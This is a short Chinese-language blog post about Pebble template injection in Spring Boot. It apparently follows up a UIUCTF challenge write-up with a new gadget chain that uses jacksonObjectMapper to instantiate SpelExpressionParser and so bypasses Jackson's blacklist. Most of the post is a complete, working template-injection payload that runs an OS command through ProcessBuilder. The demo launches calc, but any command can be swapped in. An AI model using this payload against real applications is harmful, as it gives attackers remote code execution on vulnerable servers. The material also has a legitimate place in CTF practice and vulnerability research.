Pebble最新模板注入 新gadgets
Y4tacker师傅在这篇文章中给出了Pebble最新模板注入的exp
2022UIUCTF-Spoink(Pebble最新模板注入)
其中,在用internalCachingMetadataReaderFactory
加载类后,使用了jacksonObjectMapper
调用受限制的无参构造器。
Y4tacker师傅随后用Beans绕过了jackson的黑名单,实例化了ClassPathXmlApplicationContext
但其实既然可以实例化无参构造器,这里野路子还是很多的。在SilentE大爹的帮助下,我找到了另一个类
org.springframework.expression.spel.standard.SpelExpressionParser
这个类满足上述条件,且不受jackson限制,也不用出网,而且是SpringBoot自带的。原理如下
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
SpelExpressionParser parser = new SpelExpressionParser();
parser.parseExpression(cmdStr).getValue();
payload
{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance = beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(\"calc\").start()").getValue()}}